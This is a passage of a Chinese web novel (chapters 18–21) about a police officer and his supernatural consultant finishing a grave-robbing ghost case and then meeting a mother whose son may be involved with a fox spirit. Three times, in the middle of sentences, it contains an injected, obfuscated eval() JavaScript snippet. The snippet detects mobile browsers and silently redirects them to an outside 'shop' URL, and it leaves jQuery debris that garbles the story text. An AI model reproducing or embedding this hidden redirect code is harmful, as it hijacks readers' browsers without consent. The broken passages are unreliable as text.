“哎。”老张背着手,有些唏嘘,“怎么就光让老赵捡到这些好苗子了呢,你这八字当道士也很合适啊……” “我先去医院了。” 他忧伤地跨上小电驴,带着那个安静下来的蓝牙音响,披着夜色驶向三院。 谢重阳不明所以地回到车上,跟崔人往确认:“那……这个案子算结束了吗?” “嗯。”崔人往应了一声。 被逮的是墓中的鬼魂,谢重阳一头雾水倒也正常。 谢重阳捋了捋思路,本来就是一个小小的盗墓案,只是因为三个盗墓贼表现诡异还跑了一个才似乎有些特殊。现在跑到的那个找到了,只要在医院的几个人再醒过来,那确实就算彻底结束了。 想到这里,他用余光看向崔人往,正要再问两句细节——崔人往似乎还在意什么他看不见的细节,好像是“夫人”有了莫名的变化。 只是崔人往脸色苍白,眉头紧蹙,看起来状态不太好。 “哎!”谢重阳有点担心,“你怎么了?” 崔人往眼皮稍微掀了掀,懒洋洋回答:“困了。” 谢重阳:“……” 这看起来哪里像是困了!分明更像是要晕了! 他严肃地问:“你真的不用去医院吗?” “嗯。”崔人往闭着眼睛,“去医院我也只能说我有点累了……回去睡会儿就好了,麻烦你送我了。” 他看起来不想再说话了,谢重阳皱了皱眉:“没事。” …… 车刚刚在酒店车位停稳,崔人往已经睁开眼睛:“谢谢。” 他礼貌道谢后下车,谢重阳居然也跟着下来了。 崔人往略微诧异:“怎么?这么点距离也要送?你还担心我晕在酒店大堂吗?” 谢重阳神色复杂地看着他:“你等一下再上去。” 他快步走向酒店大堂前台,不知道说了什么,很快又拿着什么走回来,不客气地拎起了崔人往的右手。 “干什么……”崔人往低头,看见他往自己咬破的手指上贴了个创口贴。 崔人往:“……” 谢重阳嘀咕:“你居然一下就能咬开自己的手指,我还以为电视剧里都是骗人的呢……我小时候试过根本咬不开啊。” 他忽然抬起头看向崔人往的嘴巴,带着几分好奇问,“是不是你牙特别尖啊?” 他看起来好奇心很重,崔人往甚至怀疑他会不会叫他张嘴看看牙。他很想没好气地顶嘴一句,但手指上微微紧绷的束缚感还在提醒他刚刚才接受了人家的好意,于是那句话就不上不下地哽在了他的喉咙口。 崔人往深吸一口气,别开视线:“嗯,是,特别牙尖嘴利。” 但现在不太好发挥。 谢重阳又笑起来,手里还捏着他的手指。 谢队长一生坦荡,完全没觉得两个男人大晚上在酒店大厅拉着手对着笑有什么不妥。 崔人往面无表情地抽回手,拿出手机看了一眼,他稍稍松了口气,对谢重阳说:“老张的消息,医院的四个人也都醒了。” 18. 018.上班 老张说,除了小蓝因为生魂被夫人啃了一口,恐怕还要病一场慢慢休养,其他人已经基本恢复正常。 他还在医院拍了张游客照似的照片,构图相当奇妙。 近景是他的大头,后面是守在门口一脸无奈的民警和蹲在门口抹泪的小紫。门里头虚弱的红绿黄蓝还在病床上,蔫巴但老实地接受身体检查。 不知道为什么,一眼扫过去都觉得热闹得叫人眼睛疼。 崔人往忍不住笑了一声,谢重阳摇了摇头:“这几个家伙……勉强算有情有义就是目无法纪,为了避免他们下次再干坏事,可得给他们好好普法。” “这次他们挖的墓称不上文化遗产,东西也没拿成,应该会从轻处理。” “嗯。”崔人往收起手机,“扰人墓中清静已经吃了鬼的教训,违法就吃法律的教训,合理。” 他看向谢重阳,“那谢队长,现在我可以回去睡觉了吗?” “当然啊。”谢重阳笑起来,“你睡觉还要向我汇报?” 崔人往:“……” “我也觉得一般是不用的。” 他越过谢重阳上了楼。 …… 事情暂时告一段落,谢重阳回到家,躺倒在自己的床上。 仔细一想,今天才是“量子力学技术部”成立的第一天。 虽然案情细节有些云里雾里,但单纯从效率来看,一个案件一天解决,还是相当不错的。 更重要的是,报告不用他写,老张全权负责。 但即便不用总结案情,谢重阳睡前还是习惯性在脑袋里写了今日日报。 他脑袋里又闪过路灯下看见的那张鬼脸。 从不失眠的谢警官盯着天花板,认真思考了半分钟,最终得出了结论。 ——应该是巧合。 碰巧路灯短路跳电在视网膜上留下了奇怪的图案,因为他最近听多了神神鬼鬼的事,所以潜意识觉得那像一张鬼脸。 心理暗示会影响人的大脑判断,当时的情况,他们一直追寻着消失的“夫人”,所以下意识把奇妙的电弧光形状往女人脸上靠也很合理。 仔细一想,抛开所有花里胡哨的表象,这个案件中,五人组的线索是通过公安系统找到的,晕倒在路边的小蓝是热心群众报案送到医院的,五色战队的盗墓小贼也都是在医院醒过来的。 这不都是很科学的事吗! 谢重阳目光坚定,决定继续将唯物主义精神贯彻到底。 不过,崔人往似乎很在意小蓝晕倒前去了哪里……之后还是跟城南派出所要一份笔录。 但他又有种预感——这几个人身上可能问不出什么。 不如明天接着看监控好了。 从找到小蓝的时间地点开始倒推,找到这一段时间内丰城的监控系统里所有他被拍到的画面,应该就能按照时间顺序补全他这一路的行动轨迹。 听崔人往和老张的意思,十五天后去城隍庙,似乎还能得到部分线索。 但谢重阳也没打算全部交给他们。 而且虚无缥缈的城隍庙听起来就没有稳重可靠的监控画面有说服力。 还得靠科学。 想到这里,谢重阳安心地闭上眼睛,毫无负担地睡着了。 …… 第二天,谢重阳按照习惯提前半小时到了单位。 原本以为自己又要面对空荡荡的办公室,没想到一推门,老张早就已经坐在里头喝茶了——那个茶杯好像还有点眼熟,看着像是从赵局办公室里顺的。 “早啊谢队长。”老张吹了吹茶叶,单手熟练地刷着手机,笑呵呵地跟他打招呼。 终于见到队员上班的谢重阳有些感动:“早!” “老张,你几点来的啊?” “一大早就来了。”老张后仰着看手机,“我习惯早起,睡不了懒觉。” “正好宿舍有几个早上有晨跑习惯的小年轻,我还跟着他们一块跑了几圈,他们还约我中午打球呢。” 谢重阳忍不住笑起来:“行啊。” “在看什么呢?” “新闻。”老张舒坦地换了个姿势,“你觉得我昨天是怎么找到那活的?” 谢重阳想了想他的一贯行事风格,猜测:“算卦算出来的?” “那哪能啊。”老张嬉皮笑脸,给他看手机,“靠网络。” “多个社交媒体实时切换,点开‘本地’、‘实时’,一手情报尽在掌握!” “我那天就是刷到有人说抓到几个被鬼附身的盗墓贼才跑去城南看情况的。” 谢重阳:“……” 万万没想到,居然是人肉舆情监控这么简单但又有效的方式。 “小桃说,等她之后给我写个能抓取关键词的系统,刷到什么‘鬼’、‘阿飘’、‘中邪’、‘怪事’之类的关键词就发送给我,我就不用辛苦做初级筛选,能省不少事。”老张笑眯眯地晃了晃手机,“但我现在闲着也是闲着,就多看看。” “我跟你说现在大数据也厉害,这些东西看多了,软件自己就给我推!” 谢重阳挠挠头:“行,那你先刷着。” “那报告……” “早写完了。”老张晃着腿,“你们赵局说字太多,叫我下次不许在报告里唠嗑,啧,我这不是想尽量写得详细点吗?” 谢重阳:“……” 半小时后,小桃卡着上班时间的最后一秒钻进了办公室。 她看见谢重阳的身影,十分明显地僵了一下,低着头地挪动脚步,小声地打了招呼:“谢队长好。” “早啊!你也来上班了啊?”谢重阳异常惊喜,“太好了!” 小桃已经挪到了电脑前面,小心翼翼地坐了下去。 她瞟了眼谢重阳的屏幕,很快低下头,谢重阳的手机就响了一下,发现小桃在群里发了个拼单链接:“队长、老张喝咖啡吗!” 还配了个相当可爱的表情包。 谢重阳扭头看过去,小桃往电脑后面缩了缩,用显示屏挡住了自己的脑袋。 老张靠着椅背:“我不喝,有茶。” 谢重阳笑了笑,决定尊重队员的性格特点,接受这份拼单邀请。 不过他点进去就发现,已经有人先点了一杯榛果拿铁,看头像,像是江定。 他笑了一声,看来小桃也算是交到朋友了。 谢队长欣慰点了下头,随便点了一杯凑热闹。 退出链接,小桃飞快下单:“收到!等到了我去拿!” “对了队长,你还在查监控啊?” “啊。”谢重阳抬起头,“我想确认一下,小蓝他昏迷前的路线。” “小崔不是也好奇,他是故意往那里走的,还是意外吗?” 小桃没有接话,但消息回得飞快:“好,这种活交给我就行了!” “嗯?”老张一下子坐了起来,谢重阳回头,小桃在群里发了个“怎么了”。 老张捏着手机:“有个人说自家老人走丢了两天,好不容易找回来了,却性情大变,像是完全变了一个人。” “像是那么回事,我先瞧一眼。” 谢重阳已经站起来:“我跟你一起……” “不用不用。”老张摆摆手,“这种事假的比真的多,没确定是真的前,不用去那么多人。” “你们留守后方!” “而且我跟城南派出所说好了,那案子完了得跟咱们说一声,今天可能还得去一趟,你等他们联络。” 谢重阳又坐了回去:“也好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027572|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老张风风火火地走了,谢重阳轻轻敲了敲桌面,又问小桃,“你说,今天我们有没有可能全员上班啊?” 小桃:“不太可能。” 谢重阳泄气:“也是。” 他也觉得崔人往不像是会乖乖来上班的主。 小桃:“老张说老大昨天用血画符了,按照之前惯例,最起码虚两三天。” “没什么特别的事,这几天他都不会出现了。” 谢重阳一怔:“这么严重?” 小桃的电话响了一声就被按断:“外卖来了!我先去拿!” 谢重阳思考片刻,打了电话:“喂,妈,你今天忙不忙?” “啊,能不能叫爸帮我炖个排骨汤?还有那个,补血一般吃什么?猪肝?那再帮我买点猪肝……不是我要补血,我同事……不是受伤,就是调理一下身体,你别担心。” “你放我厨房就行,我下班带同事回去吃,嗯,我到时候自己热热。” “你帮我把饭插上?也好,谢谢妈。” “你不用等我,我不一定准点下班……啊,家里柜子顶上擦不到?找什么梯子,你别动了,这周末要是没案子我就回来帮忙擦,叫上同事一起吃饭?我得问问他有没有空……男同事!你别瞎想!” 谢重阳挂断了温情中带点八卦的姚可珍女士的电话,小桃正好拿着咖啡进来,避开他的目光把他点的冰美式放到了桌上,然后坐下略显紧张地盯着办公室门口。 谢重阳正要问她怎么了,江定就出现在了办公室门口:“我来拿咖啡了。” “哟!”杜理科跟在她后头,“谢队长!我来投奔你了!” “滚。”谢重阳没好气地翻了个白眼。 杜理科张望了一圈,坐到了谢重阳桌上问他:“咱们小崔同志今日也没来上班啊?” “嗯。”谢重阳无奈地叹了口气,“不过也不能怪他,他昨天……” “哎,你别太在意这些繁文缛节。”杜理科拍着他的肩膀,“人家好歹是‘特别顾问’,不坐班也很正常,需要他的时候能到就行。” 谢重阳震惊地看他:“什么?” “你……你昨天还不是这个态度呢!” “嗯咳,准确来说,是昨天早上。”杜理科娇羞地别过头,“现在……吃人家嘴短嘛。” “人家昨天也吃了他买的饭饭呢。” 谢重阳有点反胃。 江定好笑地回头解释:“昨天崔人往给我们一块点了外卖,给他吃美了。” 谢重阳恨铁不成钢:“能不能有点出息?” 杜理科打开手机给他看相册:“你看看这菜色,点丰阁的当日晚餐一人食,那饭盒钱松都给带回去当新春瓜果盘了!什么时候咱加班有过这么好的待遇!” “我不得知恩图报啊!” 他轻轻撞了下谢重阳,问他,“哎,咱们在这吃的是这个标准,你跟他一起行动……吃什么了?老实交代,有没有背着哥们被纸醉金迷腐蚀!” 谢重阳无言:“他请我喝了水。” “什么水?”杜理科眯起眼,“让我见见世面。” 谢重阳:“便利店的水。” 杜理科狐疑:“啊?然后呢?” 谢重阳:“然后我请他吃了炒饭。” 杜理科表情古怪:“什么炒饭?” “就……”谢重阳抬了抬手,“城隍庙夜市摊那边的炒饭啊,也卖肉串那家。” 杜理科震惊地后仰:“不是吧你!” “你带人家小少爷吃路边摊?” “谢重阳你以为你是什么古早言情剧的小白花女主吗?” “你以为你带不食人间烟火的小少爷吃路边摊,然后他就会觉得你好穷好不一样好喜欢吗!” 19. 019.口供 谢重阳沉默了一秒,表情微妙地盯着他:“你平常都看些什么啊?” “个人隐私少打听!”杜理科捶他肩膀一拳,“你可当点心吧,别给人小少爷养死了,万一人家金贵的肠胃受伤了呢!” 谢重阳有点心虚:“不、不会吧?我吃了没问题啊。” “你?”杜理科上下打量他,“你这身体素质跟野猪一样,谁能跟你比?” “我有时候都觉得,万一你中弹了也能靠肌肉把子弹biu一下弹出去。” 谢重阳:“……如果真的有这种事,那按照医学常识,我体内的大量血液也会biu一下喷射出去。” 江定差点被咖啡呛到:“能不能聊点吉利的?” “嘿嘿。”杜理科嬉皮笑脸,“这不是今天还算和平,咱们难得享受着安宁的日常嘛!” 谢重阳挑眉:“报告写完了?” “没写完。”杜理科理直气壮,“但还没到死线,再拖拖。” “滚回去写。”谢重阳把杜理科赶走了,在办公室里转了两圈,才开口,“那个,小桃。” 小桃没吭声,但在群里回了:“怎么了?” 谢重阳小声问:“崔人往他……肠胃怎么样?” 小桃:“?” 片刻之后,心情忐忑的谢重阳点开了崔人往的对话框。 虽然知道他应该没醒,但还是发了消息过去:“你下次不要请单位里的人吃太贵的东西啊!非要买的话也不能超过个人餐标!” “然后……你昨天吃了炒饭肚子没问题吧?” 谢重阳放下手机,沉重地吸了口气,焦灼地等待崔人往的回复。 …… 中午,老张还记得自己跟人一块打球的约定,火急火燎地赶了回来。 谢重阳很关心他去查访的案情:“怎么样?” “嗨。”老张扔给他们两个肉夹馍,一屁股坐下来,“白跑一趟。” “那小子自己找事把老娘气走了,老太太出门就跟小姐妹一块报了个老年人旅游团,就在附近景区住三天,他非说人失踪,大闹一场,硬逼着旅行团给人送回来。老太太回来气得直哭,也不肯帮忙帮忙带孙子了,这下他急了,非说人性情大变是撞邪了!” 老张一脸晦气,“我去那看看,他居然还找了个假道士来要给人灌符水!” 谢重阳皱起眉:“那怎么办?” “报警啊!宣传封建迷信这不得抓他们!”老张一脸正气地一甩袖子,“我还叫了个民生节目调解员来,给他们提供了个选题,嘿嘿,那边还忙着呢。” “哎对了,城南那边有消息了,下午你再跟小崔再跑一趟去看看口供吧——据说也没问出什么线索来,但也算有始有终。” 他挤眉弄眼,“而且打好关系,以后这种事咱们再插手也更方便。” “好。”谢重阳答应下来,“但……” 他看了眼手机,“他还没回我消息。” “估计是状态不太好。”老张叹了口气,“但他这情况,其实不是身体原因,去外头走走反而更好。你就直接去酒店找他,把他从房间里拎出来晒晒太阳!” 谢重阳一怔:“直接去房间?” “对!”老张鼓励他,“酒店要是不让进你就掏警官证!” 谢重阳表情严肃:“这叫滥用职权!” 老张恨铁不成钢地别过头:“这小古板!” “那你让前台给他打电话!” “这个可以。”谢重阳起身,“那我去了!” 老张喊:“哎,要不带个肉夹馍去!” “到时候都凉了!”谢重阳摆摆手,“路上我给他重新买!” 谢重阳这次在路上买了碗看着挺干净的鸡汤小馄饨,风风火火赶到了酒店。 前台还记得这位昨天问她要了创口贴的谢重阳,态度很好地帮他拨通了崔人往的房间电话。 “喂。”崔人往应了一声,声音带着刚醒的沙哑。 前台语气温和:“您好崔先生,有位谢重阳先生来找您。” 崔人往有些意外:“他要上来?” “好吧,你给他一张房卡。” “好的先生。”前台挂了电话,谢重阳登记信息后拿到了房卡。 他提着鸡汤小馄饨,顺利上楼,进了崔人往的房间。 出乎意料,这个显然很贵的豪华房间比他想象中更加……温馨。 崔人往没睡在床上,反而窝在靠近门口的沙发上,姿态懒散且虚弱,看起来只是睁了眼,但没完全清醒。 他怀里还抱着个松软的抱枕,身后是个比他还大的憨厚大熊玩偶,一张蠢脸被他压得稍稍变形,更显滑稽。沙发背上、身上盖着的毯子上也趴着几只毛绒绒的动物玩偶,地上还滚落了几只。 谢重阳捡起一只四仰八叉倒在地上的乌龟玩偶,放到崔人往脚边,笑他:“你这是……呃,从小养成的习惯吗?” “不是。”崔人往舒舒服服窝着,还没有要起来的意思,“这是小桃说的玩偶疗法。” 他拿起趴在沙发背上的一只小猫玩偶,按了一下,它发出了一阵小猫呼噜的动静,“据说这种声音也能够有效放松精神。” 谢重阳下意识问:“治疗什么?” 崔人往也没藏着掖着:“失眠。” 谢重阳关心地问:“有用吗?” 崔人往偏了偏头:“至少我昨晚睡着了。” “不过……” 他戳了戳背后的熊鼻子,“这个还是有点硌,不然把它的眼睛鼻子拆掉吧?” 谢重阳:“……那也太没童心了吧!” 崔人往笑起来,他说:“这个应该是试图用一些可爱的东西来缓解失眠患者的焦虑,不过,托一些文艺作品的福,我现在看见这么可爱的熊,只会想到……眼睛里可以装摄像头,肚子里可以放一些奇怪的东西,啊,还有的会突然活过来把人的头咬掉。” 谢重阳抬手戳了戳他的额头:“崔人往同志。” “请保持童心和思想的积极健康。” 崔人往揉了揉额头:“怎么保持?” “或许可以从一碗热腾腾的鸡汤小馄饨开始。”谢重阳拎起手中的食物,“去刷牙,你吃完咱们去一趟城南派出所。” “还有,晚上你有事吗?” “做什么?”崔人往慢吞吞从毯子里把自己挖出来,他会根据谢重阳的回答,来确认自己今天晚上有没有事。 谢重阳:“跟我回家吃饭。” 崔人往诧异地看向他:“什么?” 他表情古怪,“谢警官,我们还没有这么熟悉吧?” “会熟的。”谢重阳拍拍他的肩膀,“就从跟我回家吃饭开始熟悉。” 他当年刚来市局报道的第一天就被陆正带回了家吃饭,于是决定有样学样,也把崔人往带回家吃饭。 崔人往根本不能理解市局的优良捡人传统,没能脱口而出拒绝。 谢重阳笑得阳光灿烂,仿佛已经看见了量子力学技术部团结一致的美好未来:“哎对,你是不是还没看消息?没事,我现在直接给你复述也行……” “我现在看。”崔人往逃一样飘进了卫生间,把谢重阳和他阳光一样热烈的善意和关心一块关在了门外。 谢重阳还在他身后喊:“我先把馄饨给你打开了啊!还烫的!” 崔人往洗漱完,在卫生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032396|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间换了衣服,磨蹭了挺久,也还没想好拒绝他的合适理由。 这会儿功夫,谢重阳已经把落在地上的玩偶重新摆好了——一群玩偶在椅背上整整齐齐按照体型从小到大列队,秩序井然。 崔人往:“……” 他在沙发上坐下,“不赶时间吗?” “嗯,案子已经结了,你慢慢吃,不着急。”谢重阳颔首,“哎对,我刚刚发现里面有大床啊,你怎么睡在沙发上?” “我喜欢睡在挤一点的地方。”崔人往坐下搅了搅小馄饨,“很有安全感。” 谢重阳意外地挑了挑眉,犹豫一下又问:“那怎么不索性开个小点的房间?那种只有一张床的便宜旅馆可能……” 崔人往尝了一口小馄饨:“我是喜欢睡在窄的地方,不是喜欢睡在又脏又差又便宜的地方。” 谢重阳:“……哦。” 热腾腾的鸡汤小馄饨下肚,崔人往慢慢有了点人气。 他余光瞥见谢重阳手上还捏着个小鸭子,说:“你喜欢那个?送你。” “啊?”谢重阳低头一看,睁大眼睛,“不是,我拿着只是……” 崔人往笑起来,伸手把小鸭子按进他怀里:“拿着吧,就当……也祝谢警官好梦。” 谢重阳:“……” 他睡眠质量一直挺好的。 但崔人往看起来心情不错,谢重阳捏了捏小鸭子,它的嘴巴开合了一下,他也就跟着笑了一声。 “那……谢谢。”谢重阳把他揣进兜里,只露出一个鸭子脑袋。 …… 下午两点,两人再次到达城南派出所。 今天这里的人也不少,一脸焦急的子女和绷着脸的老人,拿着文件互相扯皮的中年人,还有个带着十七八岁男孩的艳丽女人…… 崔人往照样打量了一圈,一扭头,那位给他们带过路的老警察已经笑眯眯地迎了上来。 “哎哟!小崔、小谢同志,你们来了啊!”老警察笑呵呵地把他们往房间带,“还特地跑这一趟……口供我已经都整理好了!不过呢,也没问出什么东西。” 他回头苦笑,“都说两眼一黑就没意识了。” “没事。”谢重阳笑笑,“没事是最好的。” “那确实!”老警察眉开眼笑,“这次解决这么快,也多亏了市局那位老前辈!” ——说的应该是老张。 老警察对老张赞不绝口,显然是十分欣赏。 寒暄了两句之后,老警察给他们看了口供,也顺便讲解两句:“他们原本是五人一块玩,没参与这次盗墓的那个,正巧家里遇到点事,不想再浑浑噩噩了,说要出去打工,几个人闹了点别扭。” “后来想和好,那四个人一合计,决定帮兄弟一把,给他凑去花城打工的车费。” “可惜这几个人呢,兜比脸干净。不知道他们从哪里听说,那块被人买下的地,没立刻开发是因为下头有个古墓。” 他一摊手,“这四个就奔着那墓地去了,还非得大晚上去!结果胆子太小,在里面撒了一地糯米把墓地弄得乱七八糟,还把自己吓成这样。” 谢重阳点着头应声,崔人往还是认真翻开口供看了看,老警察笑笑:“你们慢慢看,看完叫小宋给放回去就行。” “她就在门口。” 门口的年轻女警微微颔首,目光在两人身上来回。 “好,多谢。”谢重阳答应下来,还是仔仔细细地把口供翻看了一遍。 就和老警察说的一样,口供上确实没有其他值得注意的东西。 宋金云见他们看完了,主动进来收拾资料,像是不经意问:“怎么了,他们牵扯到什么案子里了?” 20. 020.邀请 崔人往意识到,这位警察的目光有种微妙的审视——她并不完全信任他们,带着一种职业性的克制怀疑。 崔人往还没开口,谢重阳已经否认:“没有啊。” 宋金云的目光带着探究:“那市局怎么……” “怀疑有。”谢重阳笑着指指口供,“现在调查清楚了发现没有,更详细就不方便透露了。” 宋金云听他这么说,表情反而放松了不少:“明白了。” 谢重阳笑着打完招呼:“谢谢配合。” 崔人往斜眼看他,不得不说,他这张脸还是很好用的。 至少看着就不像坏人。 两人走出房间,外面的大厅热闹依旧。 有个女人声嘶力竭地喊着:“你到底要怎么样!你是不是要我死了才甘心!” 崔人往也朝那里看过去。 那个长相艳丽的女人因为眼泪看起来像是一朵卷了花瓣的玫瑰,她跌跌撞撞倒进椅子里,崩溃地捂着脸大哭。 她面前站着个个子挺高的男孩,看起来十七八岁,穿了一身一看就不是公立学校的西式校服,冷淡地看着她崩溃大哭。 女人的声音从声嘶力竭逐渐变成哀求,她抽泣着说:“我求你了,妈妈求你了!你就听一次话吧!哪怕等到高考结束……你现在做这些是想干什么啊!” “我不相信你。”男孩冷冷看向她,“你已经辜负了我的信任。” “你让我都告诉你,说你会帮我,结果你就要我来警察局。” “我不会再相信你了。” “那你就宁愿相信外面的人也不相信妈妈吗!”女人一下激动起来,抓着男孩的肩膀摇晃,“外面的人可能会害你,妈妈难道会害你吗!” “你觉得你都是对的。”男孩俯视着她,清瘦的侧脸绷得紧紧的,透着倔强,“但你从来没想过你的‘爱’也会伤害我。” “我没有做坏事,我的朋友也不是坏人,我不需要寻求警察的帮助。” “我……” 他试图争取像个大人一样谈判的权利,但女人更加奔溃地摇晃着他:“你已经高三了!高三是什么时候你知道吗李明希!你非要在这个时候跟那种不三不四的人……” “那我该什么时候做!”一直压抑着情绪的男孩也爆发出来,“高三怎么了!大不了我不上学了!” 这句话一出,大厅里吵架的、合同纠纷的、掰扯赔偿的齐刷刷转过了头,也不知道是谁先起了头,大伙七嘴八舌地劝起来:“哎,不要冲动啊小伙子!怎么可以不念书呢!” “就是啊!其实早恋也不是大事,但为了早恋放弃前途那可是大事啊!以后就知道后悔了!” “你念个大学好歹能考公,高中没毕业只能打工!你听你妈的话……” 民警也赶过来:“不要闹了!都坐回去!” 叫“李明希”的男孩被众人七嘴八舌的热情震懵了一瞬,但很快反应过来,带着一股与世界为敌的决绝挣开女人的手,头也不回地冲出了派出所,女人歇斯底里地喊着“回来”追了出去。 谢重阳看了一眼,正要往前走,但崔人往轻轻拽了他一下。 ——才一眨眼,那女人又失魂落魄地去而复返了。 “哎哟,你怎么不去追啊!小孩子一个人在外面乱跑多危险!” “就是啊,早恋的事怎么闹到派出所来了?先管小孩要紧哇!” “我要报警。”女人失魂落魄地看着地面,忽然更加歇斯底里地大喊,“我要报警!我要报警!” 谢重阳瞄了崔人往一眼,不太确定他是看出了什么问题,还是纯粹爱好八卦。 “冷静一下,小声一点。”老警察皱着眉头走过来,“你要报什么警?” “我要报警!”女人控制不住情绪地大吼,“西区长平街是谁招商的,离高中那么近的地方搞酒吧街是谁批准的!” “这个你得找市政。”老警察无言,“你说的这些……” “你们这个管不了那个也管不了!”女人情绪激动,“那酒吧让学生进去你们也管不了吗!未成年人都往酒吧跑!” “小孩子去酒吧?”老警察劝她,“那你得先好好教育孩子……” “我怎么没有好好教育!我管不了、我管不了他!”女人说着说着开始嚎啕大哭,“你们抓人啊!让那些酒吧统统关门!” “你这个……哎,冷静一下!”老警察一脸无奈,“你得有证据,你看见未成年人进酒吧了,你就打报警电话,我们才能处理。” “或者你告诉我们,哪个酒吧工作人员跟他们有联系。” “你光就这么说,也没有证据,我们也不可能一直去监视着那个酒吧对不对?” “李胡胡!”女人激动地说,“酒吧有个叫李胡胡的……那个!我儿子去那就是找她的!至少把她抓起来!” 接下来就是漫长的了解情况和劝说,谢重阳轻轻撞了下崔人往,轻声问:“有什么奇怪吗?” 他发现崔人往打量着那个女人的目光有些奇怪,大厅里的人或多或少都看着那个女人,她现在的状态说不上体面,看热闹的目光有的怜悯、有的嘲弄、还有纯粹的好奇。 但崔人往的目光……居然称得上温柔。 崔人往回过神:“啊,嗯,他儿子可能遇到妖怪了。” 谢重阳整个人静止了片刻,他倒吸一口凉气说:“还有妖怪?” 光有鬼还不够啊! 崔人往很满意他的反应,低低笑了一声:“对。” “可能是狐狸精。” “哦!”谢重阳反应过来,“原来你是在骂人啊!” “但咱们不清楚全貌,还是先别……” “不。”崔人往深深看他一眼,“我说的是真的狐狸精。” 谢重阳虽然暂时无法在自己的科学理论体系中马上理出一块妖怪能待的位置,但他还是先问:“那怎么办?” “告诉老张。”崔人往说,“跟他说,酒吧街可能有妖怪,让他去找找看。” “这种事一般不会太危险,能交给他。” “哦、哦。”谢重阳努力跟上他的思路,“那你的意思是,这孩子突然这样,是妖精的错?” “嗯?”崔人往反应过来,“哦,你说他不想念书了那个?那倒不一定,这个年纪的小孩,想什么都不奇怪吧。” 两人才走出派出所,也跟着看了一会儿的宋金云问老警察:“酒吧街咱们不管?” “怎么管?”老警察无奈,“你去蹲守啊?” 宋金云撇了撇嘴,转身就往里面去了。 ……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036848|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>崔人往坐回谢重阳的车里,撑着脑袋说:“就这么点事,有必要非得我们两个人出来跑一趟吗?” 谢重阳眨眨眼,心想确实没必要。 但谢重阳不能辜负老张想尽办法把人弄出来晒晒太阳的良苦用心,一本正经地回答:“在确认没有收获之前,不能认定没有必要。” 他笑了笑,算是安慰崔人往,,“做警察就得习惯做无用功……陆队教我的。” 崔人往:“……” 他撑着脑袋安静了一会儿才说,“我又不是警察。” 谢重阳:“可你是警察的特殊顾问。” “行。”崔人往没跟他争,“咱们现在是一个团伙了是吧?” “什么叫团伙。”谢重阳嘀咕一声,“听着不像好人。” 车子平稳地开出去,崔人往问:“现在去哪啊?” “市局。”谢重阳笑得阳光灿烂,“现在回去还能上一小时班!” 崔人往:“……” 他从来没见过谁对上班有这么大的热情。 崔人往伸手按住自己的额头:“我很虚弱,能不去吗?” “嗯——”谢重阳拧起眉头,“那早点跟我回家吃饭?” “今天没什么事能正常下班,早点回去的话可以先去趟菜市场,多烧两个菜。” 崔人往避开了他的视线:“……那还是去上会儿班吧。” 谢重阳:“啊?去我家比上班恐怖吗?” 崔人往看着车窗外,撑着脑袋。 ……他从来没去过别人家里。 人对某些“第一次”会抱有一种天然的恐惧,崔人往不确定迈进谢重阳家的大门,会不会意味着他们之间的关系发生了什么本质上的变化。 毕竟他也没这样交过朋友。 他读了哲学和心理学学位,因此自我审视的时候,他能清楚地看到自己的问题——他会下意识逃避进入一段亲密关系。 他一直不愿意拜师老张,也不是不想当道士,只是他天然恐惧“师徒”,这种像是没有血缘的亲缘关系,对他而言太过未知。 他和老张、小桃,他们是有某种相似之处的同路人,目标一致所以同路,完成目标后各奔东西也方便。 这种关系就恰到好处。 如果说一般的人际关系是一张网,崔人往觉得自己现在只是悬浮在网上,只要和所有人的交情都维持在“恰到好处”的状态,他就可以一直悬在这张网上。 他害怕落入网中。 崔人往深吸一口气,他看着窗外小声说:“需要做点心理准备。” 值得庆幸的是,他好歹还知道自己不能永远悬在网上。 他按下反悔的冲动,拉着安全带,像只想要逃跑但勉强留在原地的小动物。 谢重阳总算得到一个肯定答复,立刻笑起来:“怕什么,是请你吃饭,又不是用你下锅。” “吃完饭看球赛吗?今天晚上好像有比赛,要是太晚你直接住我家也行。” 崔人往:“……我突然想起来其实我还有点事。” 谢重阳毫不犹豫:“骗人的。” 崔人往:“嗯。” 谢重阳扯住他的安全带:“那不许跑,下班后带你去买点零食。” 崔人往闭上眼躺进座椅里装死。 21. 021.好狗 谢重阳带着崔人往回了市局。 逍遥了好几天的崔师傅终于第一次坐进了自己的工作岗位,居然还觉得有些新奇。 他矜持地问小桃:“上班一般需要做什么?” “小桃有活,看监控呢,还要给我写那个小程序。”老张笑眯眯地给他递了杯茶,“你就跟我一块喝会儿茶,就到下班点了。” 崔人往嫌弃地撇了撇嘴:“不爱喝茶。” 